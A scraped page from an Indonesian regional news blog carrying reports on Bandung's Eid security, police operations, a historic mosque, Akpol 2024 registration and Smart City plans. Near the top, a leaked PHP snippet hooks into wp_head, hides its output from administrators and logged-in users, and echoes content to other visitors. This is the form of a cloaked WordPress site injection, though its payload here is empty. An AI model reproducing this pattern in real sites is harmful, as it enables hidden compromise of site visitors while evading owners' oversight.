Menjelang Hari Raya Idulfitri 1445 H, Pemerintah Kota (Pemkot) Bandung menyiagakan 706 personel agar Kota Bandung tetap aman dan kondusif. Para personel akan bersiaga pada 3 – 18 April 2024 ini.
Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Selama Masa Lebaran, Ribuan Personel Siaga Jaga Kota Bandung Tetap Kondusif
Penjabat Wali Kota Bandung, Bambang Tirtoyuliono mengungkapkan personel yang siaga mulai dari Satpol PP, Dinas Perhubungan hingga Dinas Kesehatan.“Saya yakin betul, bahwa Kota Bandung ini bisa diselenggarakan jauh lebih baik dengan sinergi dan kolaborasi. Kita harap momen Hari Raya Idulfitri ini berjalan lancar,” kata Bambang pada kegiatan Rakor Lintas Sektoral Operasi Ketupat Lodaya tahun 2024 Polrestabes Bandung, Senin 1 April 2024.Untuk titik rawan kemacetan, Dinas Perhubungan telah mengidentifikasi sekitar 38 titik. Beberapa di antaranya yaitu Jalan Ir H. Djuanda, Simpang Lima Asia Afrika, hingga Bundaran Cibiru.“Salah satunya akibat pasar tumpah. Kami pastikan H-2 dan H+2 tidak ada aktivitas pasar tumpah,” katanya.Di samping itu, soal sampah ia mengimbau kepada masyarakat untuk meminimalisir pembuangan sampah. Pasalnya TPA Sarimukti tutup selama Idulfitri.“Hari lebaran itu TPA Sarimukti ditutup. H-1 Kami akan lakukan pembatasan. Saya perintahkan camat dan lurah, agar semua lapangan yang menjadi lokasi salat, sampahnya dibersihkan. Ini untuk meminimalisir potensi sampah,” ungkapnya.Sementara itu, Kapolrestabes Bandung, Kombes Pol Budi Sartono mengungkapkan pihaknya juga akan menggelar operasi Ketupat Lodaya selama 14 hari pada 4 – 16 April 2024.“Personel yang diterjunkan 1.218 orang. Dari Polrestabes 826 personel, Polda Jabar 110 personel, TNI 180 personel dan instansi 102 personel,” tuturnya.Polrestabes bandung juga mendirikan 32 pos, terdiri dari 1 posko utama, 1 posko terpadu, 6 pos pelayanan dan 24 pos pengamanan.“Khusus Kota Bandung, kita fokus rawan kemacetan, rawan laka dan tempat pengamanan wisata. Untuk rawan macet ini, jalur wisata menuju Lembang, jalur Dr Djunjunan, Jalan Pasirkaliki, Jalan Soekarno Hatta, Jalan Asia Afrika dan Bundaran cibiru dan Ir. H Djuanda,” tuturnya. -
Kanwil Kemenkumham Jabar Kerjasama Dengan DPMTSP Lakukan Kegiatan Pelayanan Terpadu
Bandung, VN,- Kepala kantor Wilayah Kementerian Hukum dan HAM Jawa Barat, R. Andika Dwi Prasetya didampingi oleh Kepala Divisi Pelayanan Hukum dan HAM, Andi Taletting Langi beserta Kepala Sub Bidang Pelayanan Kekayaan Intelektual, Dona Prawisuda dan Jajaran Sub Bidang Pelayanan Kekayaan Intelektual melakukan Kegiatan sebagaimana tersebut diatas.
Dalam rangka melayani para pelaku usaha dan masyarakat umum, kanwil kemenkumham jabar subbid pelayanan Kekayaan Intelektual kerjasama dengan Dpmptsp Jabar melakukan kegiatan Pelayanan terpadu di the Grand Lodakarya mulai tanggal 28 maret – 31 maret 2024.
Kegiatan ini melayani pelayanan Kekayaan Intelektual ( Merek, Cipta, Desain Industri, Paten dll), BPOM, Halal, NIB serta pameran stand kuliner, fashion, provider dan lain lain.
Kasubbid Pelayanan Kekayaan Intelektual Dona Prawisuda beserta Jajaran membuka loket Pelayanan Kekayaan Intelektual serta Talkshow yang dapat mengedukasi para pelaku usaha untuk mendaftarkan dan melindungi karya serta brand usahanya. Lebih dari 50 tenan yang berpartisipasi guna mengisi liburan panjang untuk masyarakat serta ada nya hiburan dari artis ternama.
Bagi Penyelenggara kegiatan sendiri, acara ini digelar untuk:
Meningkatkan Aktifitas Positif Masyarakat di Bulan Ramadhan dengan konsep silaturahmi, hobi, dan berbagi.
Meningkatkan peran serta UMKM dan masyarakat segala bidang untuk ambil bagian dalam berkarya dan berpromosi
Memberikan sebuah pelayanan terpadu dalam satu tempat dalam hal Perijinan Usaha, Pembayaran Pajak Kendaraan, Konsultasi Sertifikasi Halal, BPOM, SNI, Kekayaan Intelektual, Penukaran Uang Nominal Kecil, Pembuatan SIM, Konsultasi Perbankan, dan lain sebagainya.
Memberikan sentra takjil dan kuliner terpadu dalam satu lokasi.
‘Nongkrong’ Silaturahmi Positif bagi komunitas Ride, Bike, Run, Model, Games, Kesenian dan lainnya
Acara ini digelar selama 4 hari secara berturut-turut dan diikuti secara bergantian oleh Pegawai pada Subbidang Pelayanan Kekayaan Intelektual. Walaupun tengah berpuasa, pegawai tetap melayani konsultasi dengan penuh semangat. **DN
-
Perhelatan Gala Siswa Indonesia, SMPN 1 Saguling Kembali Sabet Juara Tingkat Kecamatan
KBB,VN,- Perhelatan GSI (Gala
Siswa Indonesia) digelar setiap tahun sebagai salah satu agenda rutin yang di
adakan secara berjenjang dari tingkat sekolah, Kecamatan, Kabupaten Provinsi
sampai tingkat Nasional, kegiatan ini bertujuan untuk mencari bibit pemain
sepak bola peajar.Partai seleksi tingkat kecamatan digelar
oleh panitia GSI di bawah pengelolaan Panitia GSI tingkat Kecamatan yang di
bimbing oleh Pengawas Pembina H Udin Saripudin, M.M.Pd. pada tanggal 1 Maret
2024 di Lapang Sepak Bola Warudoyong Kecamatan Saguling, diikuit oleh 4 sekolah
yaitu, SMPN 1,2, 3, Saguling dan SMPS
Nurusaadah, kegiatan ini dihadiri oleh
Koordinator H Udin Saripudin , Budi Ruhiat sebagai manager kegiatan, Dedi
Suhendar sebagai Ketua pelaksana dan Pelatih serta guru olah raga dari 4
sekolah.Sebagai manager pelaksanaan kegiatan Budi
Ruhiat dalam sambutan pembukaan manyampaikan harapannya, “melalui Kegiatan ini
diharapkan lahir pemain pemain berkualitas dan diharapkan dari Kecamatan
Saguling dapat menjadi kontingen perwakilan untuk tahap berikutnya, selain itu
beliau menandaskan kompetisi dapat dilakukan secara fairplay dan mengutamakan
sportifitas karena tujuan olah raga semata mata untuk meningkatkan Kesehatan
dan kebugaran” .Pada kesempatan rehat coordinator pelaksana
kegiatan H Udin Saripudin menjelaskan, system pertandingan digunakan adalah
system gugur, mengingat tujuan dilaksanakan seleksi ini pada dasarnya sebagai
bentuk rekruitmen untuk menentukan juara
dan memilih pemain yang akan mewakili kecamatan Saguling ditingkat
Kabupaten Bandung Barat, lebih lanjut beliau menandaskan bahwa kegiatan seleksi
GSI ini selanjutnya akan bergulir sampai tingkat nasional melalui seleksi yang
sangat ketat sebab dibatasi usia dibawah 14 Tahun atau kelahiran siswa pada
tahun 2010 melalui portal web. BPTI dengan setiap siswa melengkapi persyaratan
akte kelahiran dan izin dari orang tua siswa” TegasnyaLebih lanjut Ketua Panitia Dedi Suhendar sekaligus
guru Olah Raga dari SMPN 1 Saguling menambahkan bahwa, “kegiatan GSI yang sudah
digelar di tahun kedua sejak tahun 2023 GSI digelar Oleh Dinas Pendidikan
Kabupaten Bandung Barat dan selalu di
ungguli Oleh SMPN 1 Saguling, menjadi perwakilan Kecamatan ditingkat Kabupaten Bandung Barat. Untuk Tahun 2024 SMPN 1
Saguling kembali menjadi perwakilan dari Keccamatan Saguling.Ketua Panitia pelaksana Dedi Suhendar berharap “untuk tahun ini GSI
dipersiapkan lebih matang karena
sebelumnya melakukan Latihan yang lebih inten, disamping mengikuti kompetisi di
beberapa tempat. semoga dapat hasil yang lebih baik lagi dan SMPN 1 Saguling
dapat lolos di tahap berikutnya sehingga diharapkan dapat mewakili Kabupaten
Bandung Barat dalam seleksi tingkat berikutnya” Pungkasnya.(TAN) -
Wakapolda Jabar Cek Kendaraan Dinas Dua dan Empat dalam Rangka Persiapan OPS Ketupat Lodaya 2024
Wakapolda Jabar Brigjen Pol. Bariza Sulfi, didampingi Pejabat Utama Polda Jabar, meninjau dan mengecek kendaraan dinas Polri baik roda dua maupun roda empat.
Menjelang Operasi Ketupat Lodaya 2024, Wakapolda Jabar dan jajaran Polda Jabar telah melakukan pengecekan terhadap kendaraan dinas.Pengecekan Sarana Prasarana dan Kendaraan Dinas diadakan untuk memastikan kesiapan personel dalam menjalankan operasi tersebut.Kegiatan ini berlangsung di lapangan Apel Mapolda Jawa Barat pada tanggal 30 Maret 2024 dan dipimpin langsung oleh Wakapolda Jabar dan Karo Ops Polda Jabar.Hal ini menunjukkan keseriusan dan kesiapan Polda Jabar dalam menjalankan Operasi Ketupat Lodaya 2024.“Diharapkan dengan persiapan yang matang, Operasi Ketupat Lodaya 2024 dapat berjalan dengan lancar, aman, nyaman dan masyarakat dapat merasakan manfaatnya.” ujar Wakapolda Jabar. -
Berdiri sejak 1869, Masjid Mungsolkanas Jadi Masjid Tertua di Kota Bandung
Jika membahas tentang perkembangan Islam di kota Bandung, kebanyakan orang akan menyebut Masjid Agung Alun-alun atau Masjid Besar Cipaganti sebagai salah satu masjid bersejarah di Kota Bandung. Namun, Masjid Mungsolkanas yang terletak di sebuah gang kecil membuatnya jarang terlihat oleh banyak orang.
Masjid ini berada di Gang Mama Winata, Jalan Cihampelas RT 02 RW 05, Kelurahan Cipaganti, Kecamatan Coblong, Kota Bandung. Masjid ini didirikan sejak tahun 1869 dan menjadi masjid tertua di Kota Bandung.Masjid ini didirikan oleh seorang ulama bernama Kiai Haji Abdulrohim atau kerap dipanggil Mama Aden.Tidak seperti kebanyakan masjid di Indonesia, yang dinamai menggunakan bahasa arab, nama-nama tokoh Islam, sahabat Rasulullah atau Asmaul Husna. Nama masjid ini justru menggunakan akronim dari kalimat berbahasa Sunda.Sebagaimna dijelaskan oleh Didin, Marbot Masjid Mungsolkanas.“Mungsolkanas sebenarnya singkatan dari kalimat bahasa Sunda ‘Mangga Urang Ngaos Sholawat Ka Kanjeng Nabi SAW’. Diambil dari filosofi doa yang terdapat dalam kitab Tankibulkaul. Artinya bahwa setiap orang yang membaca dan mengamalkan sholawat kepada Nabi SAW, Insya Allah doanya pasti akan diterima dan dikabulkan oleh Allah SWT,” jelas Didin.Didirikan sejak tahun 1869, masjid yang terletak di daerah pemukiman padat penduduk di kawasan Cihampelas ini awalnya hanyalah bangunan panggung yang terbuat dari bilik.Saat ini masjid tersebut telah mengalami perubahan yang signifikan menjadi bangunan dua lantai yang utamanya terbuat dari tembok, tidak ada sisa-sisa bangunan lamanya sehingga masjid ini terlihat sangat kokoh dan modern.“Bangunan masjid ini didirikan di atas tanah yang diwakafkan oleh Lantenas, nenek dari Pak Zakaria, yang juga menjabat sebagai pengurus pertama masjid ini. Sekarang sih sudah direnovasi berkali-kali sampai yang paling besar itu tahun 2009,” kata Didin.“Saat awal dibangun, bangunan masjid itu tidak seperti sekarang. Bentuknya masih panggung dari billik dengan satu lantai. Dahulu ada kolam di bawah yang sekarang sudah diubah menjadi kantor untuk keperluan masjid. Saat ini, kapasitas masjid telah meningkat dan dapat menampung sekitar 100 orang jemaah,” imbuhnya.Meski bentuk bangunan telah berubah, Masjid Mungsolkanas memiliki beberapa peninggalan yang masih ada hingga saat ini. Salah satunya yaitu sebuah Al-qur’an yang ditulis tangan yang masih tersimpan dalam sebuah etalase kaca di lantai dua masjid.Peninggalan lainnya yaitu sebuah batu hitam besar yang diukir dengan nama dan tahun pembangunan masjid, yang diletakkan di depan pintu masuk. Tulisannya, “Masjid Mungsolkanas/ Berdiri Tahun 1869/ Mangga Urang Ngaos Sholawat ka Kanjeng Nabi SAW.”Didin mengungkapkan, selama bulan suci Ramadan, program-program di Masjid Mungsolkanas berlangsung seperti biasa, seperti halnya tahun-tahun sebelumnya.“Di sini, banyak program. Termasuk untuk Taman kanak-kanak (TK), pengajian anak-anak setiap sore, pengajian ibu-ibu setiap Senin, Rabu, dan Sabtu. Pesantren kilat, tadarusan, menyediakan takjil bersama dan juga pelaksanaan shalat tarawih. Baru-baru ini, ada Pejabat Gubernur juga ikut salat tarawih berjamaah di Masjid Mungsolkanas,” ujarnya. (sumber:dskoinfo.bdg) -
Pendaftaran Akpol 2024 Dibuka! Ini Syarat dan Jadwal Pendaftarannya
Pendaftaran Akademi Kepolisian (Akpol) tahun 2024 telah resmi dibuka sejak 26 Maret hingga 21 April 2024. Bagi para pemuda dan pemudi Indonesia yang bercita-cita menjadi insan Bhayangkara dan mengabdi kepada bangsa, kesempatan emas ini telah menanti.
Tahun ini, proses pendaftaran Akpol dilakukan secara daring melalui laman resmi Penerimaan Anggota Polri. Pastikan Anda memahami seluruh persyaratan dan alur pendaftarannya dengan seksama.Jadwal Pendidikan Akpol 2024:Pendidikan dimulai pada 2 Agustus 2024.Durasi pendidikan selama 4 tahun.Bertempat di Akpol Lemdiklat Polri Semarang, Jawa Tengah.Persyaratan Pendaftaran Akpol 2024:- Syarat Umum:WNI pria atau wanita.
- Beriman dan bertakwa kepada Tuhan Yang Maha Esa.
- Setia kepada NKRI.
- Sehat jasmani dan rohani.
- Berusia minimal 18 tahun saat diangkat menjadi anggota Polri.
- Tidak pernah dipidana.
- Berwibawa, jujur, adil, dan berkelakuan tidak tercela.
Syarat Khusus:Bukan anggota/mantan anggota Polri/TNI/PNS.- Berijazah SMA/MA/Sederajat (bukan Paket A, B, dan C).
- Nilai rata-rata UN/ijazah minimal 70 (2019), 70.00/B (2020-2021), 75.00/B (2022-2023).
- Bagi kelas XII, nilai rata-rata semester V minimal 80.00/A (Papua/Papua Barat 75.00/B).
- Tinggi badan minimal: Pria 165 cm, Wanita 163 cm.
- Belum pernah menikah, hamil/melahirkan, dan sanggup tidak menikah selama pendidikan.
- Bebas narkoba.
- Tidak mendukung organisasi/paham yang bertentangan dengan Pancasila.
- Membuat surat pernyataan bermaterai.
Proses Seleksi Akpol 2024:- Tingkat Daerah:Pemeriksaan administrasi awal.
- Pemeriksaan kesehatan tahap I.
- Tes psikologi tahap I (CAT).
- Tes akademik (CAT): pengetahuan umum, wawasan kebangsaan, penalaran numerik, bahasa Indonesia.
- Tes kesamaptaan jasmani (A, B, C) dan antropometri.
- Sidang penetapan peserta untuk pemeriksaan kesehatan tahap II.
- Pemeriksaan kesehatan tahap II.
- Pendalaman PMK dan tes psikologi tahap II (wawancara).
- Pemeriksaan administrasi akhir.
- Sidang terbuka penetapan kelulusan tingkat daerah.
Tingkat Pusat:Pemeriksaan administrasi.- Pemeriksaan kesehatan (tahap I dan II).
- Tes MI (CAT).
- Tes akademik (TPA dan Bahasa Inggris) (CAT).
- Tes psikologi wawancara.
- Pendalaman PMK.
- Tes kesamaptaan jasmani (A, B, C) dan antropometri.
- Pemeriksaan penampilan.
- Sidang terbuka penetapan kelulusan tingkat pusat.
Informasi lengkap mengenai pendaftaran Akpol 2024 dapat diakses melalui:Laman resmi Penerimaan Anggota Polri: https://penerimaan.polri.go.id/Hotline: 166Ayo, persiapkan diri Anda dan raih kesempatan emas untuk menjadi bagian dari Akademi Kepolisian! (sumber:h.polri) -
Berdampak Positif, Pansus 8 DPRD Dorong Percepatan Raperda Penyelenggaran Keolahragaan
Pansus 8 DPRD Kota Bandung melakukan rapat membahas Raperda Kota Bandung tentang Penyelenggaraan Keolahragaan bersama KONI Kota Bandung, KORMI Kota Bandung, NPCI Kota Bandung, SOIna Kota Bandung, dan Bagian Hukum Kota Bandung, di Ruang Rapat Komisi D, Jumat, 28 Maret 2024.
Ketua Pansus 8 DPRD Kota Bandung, Hasan Faozi, S.Pd., mengatakan, dewan berkomitmen untuk mempercepat proses pembahasan Raperda Kota Bandung tentang Penyelenggaran Keolahragaan yang ditargetkan rampung pada akhir bulan April 2024 mendatang.“Terkait Raperda Kota Bandung tentang Penyelenggaran Keolahragaan ini memang targetnya 15 Juli 2024. Tapi kami harapkan pada akhir bulan April beres sudah diparipurnakan,” kata Faozi.Ia pun beralasan percepatan ini perlu dilakukan karena hal ini akan berdampak positif baik dari sisi prestasi olahraga serta kesehatan masyarakat Kota Bandung.“Tentunya ini perlu didorong karena tujuan Raperda ini untuk percepatan prestasi olahraga kita dan kesehatan masyrakat Kota Bandung,” katanya.Meski mengharapkan kecepatan, ia pun mengingatkan kepada Dinas Pemuda dan Olahraga Kota Bandung serta pihak terkait untuk lebih teliti agar Raperda ini benar-benar sempurna.“Kami ingatkan kembali agar lebih teliti juga agar tidak ada membingungkan masyarakat seperti ada beberapa induk organisasinya keolahragaan wajib dimasukan agar hal ini lebih jelas. Lalu harus detail terkait komunikasi dengan SKPD terkait seperti BKAD itu pun perlu dilibatkan soal bangunannya. Jadi saya harap Pak Kadispora segera berkomunikasi dengan BKAD bila ada sangkut paut dengan SKPD tersebut,” tuturnya.Sementara itu, Anggota Pansus 8, H. Asep Mulyadi mengapresiasi semua pihak dalam proses Raperda ini. Namun, ia berharap dengan adanya Raperda ini, Kota Bandung memiliki cabang olahraga yang menjadi ikon Kota berjuluk Paris van Java itu.“Pengembangan cabang olahraga mana yang mau jadi ikon Kota Bandung. Karena tidak semua bidang harus ada ciri khasnya,” kata Asep.Asep pun berharap dengan Raperda ini juga sarana prasarana penunjang dapat diperbaiki dan diperbanyak. Sebab, ini merupakan aspirasi dari masyarakat mulai dari anak-anak hingga orang dewasa yang menginginkan sarana prasarana olahraga yang memadai dan terjangkau.“desain olahraga daerah dan sarana prasarana olahraga harus jadi perhatian. Sekarang ini terus terang banyak potensi (atlet) tapi berat karena fasilitas tidak memadai kalau ada pun mahal biaya sewanya,” ujarnya.Disisi lain, Anggota Pansus 8 DPRD Kota Bandung, Yoel Yosaphat, S.T., mendorong Pemerintah Kota Bandung untuk berkolaborasi bersama pihak swasta untuk mengakselerasi keolahragaan yang tentunya bisa berdampak positif untuk Kota Bandung. Yoel menilai kerja sama antara Pemkot dengan pihak swasta dapat meningkatkan PAD dari sisi event yang diselenggarakan dan didukung oleh komunitas olahraga yang ada di Kota Bandung.“Olahraga masyarakat (termasuk komunitasnya) jumlahnya banyak banget. Fasilitas yang saat ini belum mengakomodir. Bagaimana caranya Pemkot bekerjasama dengan swasta.Ini ada ide-ide kreatif kerja sama dengan industrinya apakah ada sponsor, event, olahraganya seperti lari contohnya. Sayang kalau akses dengan pemerintah tidak berjalan baik. Harapanya kalau ada kerja sama ini bisa nambah PAD Kota Bandung juga,” kata Yoel. (sumber:h.dprd.bdg) -
Lepas Tim Mudik INews, Kakorlantas : Kolaborasi Dengan Masyarakat Kunci Keberhasilan Ops Ketupat 2024
Kepala Korps Lalu Lintas (Kakorlantas) Polri Irjen. Pol. Aan Suhanan bersama Menteri Perhubungan Budi Karya Sumadi melepas tim mudik INews Media Grub menjelang arus mudik-balik lebaran 2024, di gedung I News Kebon Siri, Jakarta Pusat, Kamis (28/3).
“Kita selalu berkomunikasi berkolaborasi dengan seluruh stakeholder terutama dengan Perhubungan, sudah memetakan titik-titik rawan kemacetan, kecelakaan sehingga sudah siapkan skema pengelolaan arus lalu lintas,” ujar Kakorlantas Polri Irjen Pol Aan Suhanan.Irjen Pol Aan mengatakan, terdapat titik-titik krusial yang menjadi fokus dalam pengamanan arus mudik-balik, diantaranya jalur tol, pelabuhan dan tempat wisata.“Tol menjadi primadona masyarakat mudik-balik sehingga kita harus mengelola dengan baik ada beberapa bottlenack di KM 152 pertemuan dari Cisumdau dengan Cipali kemudian di KM 72, dan KM 87 ada bottlenack,” tambah Kakorlantas.Selanjutnya ia menambahkan, terkait dengan pengelolaan rest area pihaknya sudah berkoordinasi dengan pengelola rest area untuk memberikan batas maksimal selama 30 menit, menghindari terjadinya penumpukan.“Resta area kita koordinasi karena ini masih menjadi potensi terjadinya perlambatan di titik-titik troublespot untuk mengatur traffic flow-nya kita akan mengatur lamanya masyarakat untuk istirahat di rest area maksimal 30 menit,” tegasnya.Tidak hanya fokus terhadap rest area, Irjen Pol Aan juga akan menyiapkan skema pengaturan penyebrangan untuk pelabuban Bakauheni, Merak, Ketapang, Gilimanuk, dengan sistem penundaan perjalanan saat dermaga sudah mencapai VC Ratio 0,7 dan akan melakukan pengawalan untuk kendaraan roda dua yang ada di buffer zone.“Jalur penyeberangan ini juga menjadi titik krusial kita siapkan skema delaying sistem ketika pelabuhan VC Ratio sudah 0,7, untuk kendaraan roda dua kita juga akan kawal dari buffer zone delaying sistem sampai ke pelabuhan,” katanya.Ia berharap, upaya pengaturan arus lalu lintas selama arus mudik-balik nanti tentu tidak lepas dari keterlibatan masyarakat.“Upaya kita ini sudah cukup maksimal sudah menyiapkan beberapa skema selebihnya nanti kolaborasi dengan masyarakat sangat menentukan keberhasilan operasi ini mudik ceria penuh makna ini akan tercapai juga,” ujarnya.Senada dengan Kakorlantas Polri, Menteri Perhubungan Budi Karya Sumadi menyampaikan dengan mempersiapkan, survei, koordinasi menjadi amanah dalam melayani masyarakat.“Karena amanah dari presiden harus melayani dengan baik kami tentu mempersiapkannya dengan teliti melalui suatu survei yang akurat lalu koordinasikan dengan para pihak terutama kepolisian,” ujar Menteri Perhubungan Budi Karya Sumadi.Dengan memastikan langsung tempat-tempat yang menjadi potensi terjadinya kemacetan diharapkan bisa mewujudkan mudik ceria penuh makna.“Kami berulang-ulang melakukan memastikan mengunjungi tempat yang potensial terjadi kemacetan dan kita harapkan kita berjalan baik, bahwa kita punya tagline yang merupakan doa mudik ceria penuh makna,” tutup Menhub. (sumber:h.polri) -
Kembangkan Smart City, Wamen Nezar Patria Sebut Tiga Parameter
Pemerintah telah mencanangkan Program Gerakan Menuju Kota Cerdas atau Smart City sejak tahun 2017. Program itu digagas Kementerian Komunikasi dan Informatika bersama Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, Kementerian Pekerjaan Umum dan Perumahan Rakyat, Kementerian Dalam Negeri, Kementerian Keuangan, dan Badan Perencanaan Pembangunan Nasional.
Wamenkominfo Nezar Patria menyatakan lebih dari 250 pemerintah kota dan kabupaten di Indonesia menjadi bagian Jaringan Pengembangan Smart City. Setiap kota yang layak menjadi Smart City menurutnya memiliki tiga parameter yaitu konektivitas digital, literasi digital dan pemanfaatan teknologi digital.“Banda Aceh masuk dalam Jaringan Pengembangan Smart City yang dibuat oleh Kominfo. Cuma untuk menjadi Smart City ada beberapa kriteria yang harus dipenuhi bagaimana smart governance, smart branding, smart teknologi yang dipakai menjadi parameter untuk melihat apakah sebuah kota cukup smart memanfaatkan teknologi itu,” tuturnya saat menjadi bintang tamu Podcast Sagoe TV di Banda Aceh, yang disiarkan Sabtu (30/03/2024).Wamen Nezar Patria menyatakan keberadaan konektivitas digital menjadi prasyarat dasar pengembangan Smart City. Menurutnya, saat ini sekitar 90% wilayah Indonesia telah tercover jaringan komunikasi baik 2G, 4G dan khusus 5G pada beberapa kota besar di Indonesia.“Tingkat penetrasi internet juga makin lama makin tinggi, sekarang ada sekitar lebih dari 80% penetrasinya dari 287 juta jiwa. Saya kira dengan kondisi yang demikian tentu kita bisa bayangkan information society bisa bertumbuh dan berkembang dalam satu ekosistem masyarakat digital,” tuturnya.Selanjutnya, Wamenkominfo menyatakan literasi digital menjadi kriteria penting dalam mendukung Program Smart City selain fasilitas pendukung yang disiapkan pemerintah daerah.“Yang terpenting juga bagaimana smart education dilakukan untuk masyarakat agar bisa mengakses teknologi dengan lebih baik. Karena itu, perlu ada pendidikan melek digital atau literasi digital supaya bisa memanfaatkan arus informasi digital dengan positif,” ujarnya.Guna mendukung pengembangan Smart City, Kementerian Kominfo menyiapkan berbagai program inisiatif bidang digital dengan menyeleraskan kebutuhan masyarakat agar makin produktif. Wamen Nezar Patria menyontohkan pengembangan talenta digital, ekosistem startup karya anak bangsa hingga infrastruktur teknologi informasi dan komunikasi.“Contoh seperti kegiatan Markas Startup Digital yang merupakan satu gerakan dari program 1000 Startup Digital yang diinisiasi oleh Kominfo sejak 2016. Wadah ini dalam rangka menyambut pertumbuhan ekonomi digital yang makin hari makin berkembang seiring dengan perkembangan TIK,” jelasnya.Wamenkominfo juga memaparkan upaya Kementerian Kominfo menjadikan Banda Aceh sebagai kota ketiga peluncuran Markas setelah Jakarta dan Surabaya. Lewat Markas diharapkan menjadi motivasi bagi generasi milenial dan Gen Z di Aceh dalam menciptakan startup lokal untuk bersaing di skala nasional hingga global.“Jadi Markas Aceh ini salah satunya dalam rangka mempersiapkan generasi muda kita untuk menyambut era baru masyarakat digital. Aceh dipilih karena kita melihat terjadi digital divide atau ketimpangan digital antara pulau Jawa dengan luar Jawa, nanti di beberapa kota lain (di luar pulau Jawa) akan menyusul untuk dibuat Markas ini,” ungkapnya.Kementerian Kominfo meluncurkan Markas Aceh agar menjadi wadah kreatif generasi muda saling berbagi pengalaman dalam rangka mendirikan usaha rintisan startup. Bagi Wamenkominfo, Markas akan memudahkan pelaku startup tergabung dalam jaringan bisnis.“Jika mau masuk ke berbagai macam bisnis mereka tau apa yang harus dilakukan dan bagaimana memanfaatkan teknologi untuk membuat optimalisasi proses binsis mereka. Karena itu, Kominfo hadir sebagai fasilitator, kita coba menyiapkan infrastrkturnya, memfasilitasi pertemuan antara investor dengan startup dan pendidikan untuk membangun kapasitas,” jelasnya.(sumber:Biro Humas Kementerian Kominfo)
















